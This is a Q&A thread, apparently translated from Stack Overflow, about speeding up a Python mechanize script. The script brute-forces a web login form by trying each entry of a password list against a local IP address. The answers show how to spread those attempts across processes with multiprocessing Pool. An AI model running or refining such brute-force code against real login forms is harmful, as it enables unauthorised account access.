如何在for循环中使用多处理 - python

时间:2016-09-21 09:13:50

标签: python multiprocessing mechanize-python

我有一个使用python mechanize和bruteforce html表单的脚本。这是一个for循环,它检查来自“PassList”的每个密码,并通过检查重定向的URL运行,直到它与当前密码匹配。我如何在这里实现多处理

for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break

2 个答案:

答案 0 :(得分:1)

from multiprocessing import Pool

def process_bruteforce(PasswordList):
    <process>

if __name__ == '__main__':
    pool = Pool(processes=4)              # process per core
    is_connected = pool.map(process_bruteforce, PasswordList) 

我会尝试类似的东西

答案 1 :(得分:1)

我希望这不是出于恶意目的。

我从来没有使用python机械化,但看到你没有答案我可以分享我所知道的,你可以相应地修改它。

通常,它需要是自己的函数,然后将其称为池。我不知道你的br对象,但我可能会建议有许多这些对象,以防止任何冲突。 (可以尝试使用相同的br对象,相应地修改代码)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]

from multiprocessing import Pool
from multiprocessing import cpu_count

def crackPassword(lst):
    br_obj = lst[0]
    password = lst[1]
    br.form['password'] = ''.join(password)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

 pool = Pool(cpu_count() * 2)
 crack_password = pool.map(crackPassword,list_of_br_and_passwords)
 pool.close()

再一次,这不是一个完整的答案,只是关于如何进行多处理的一般准则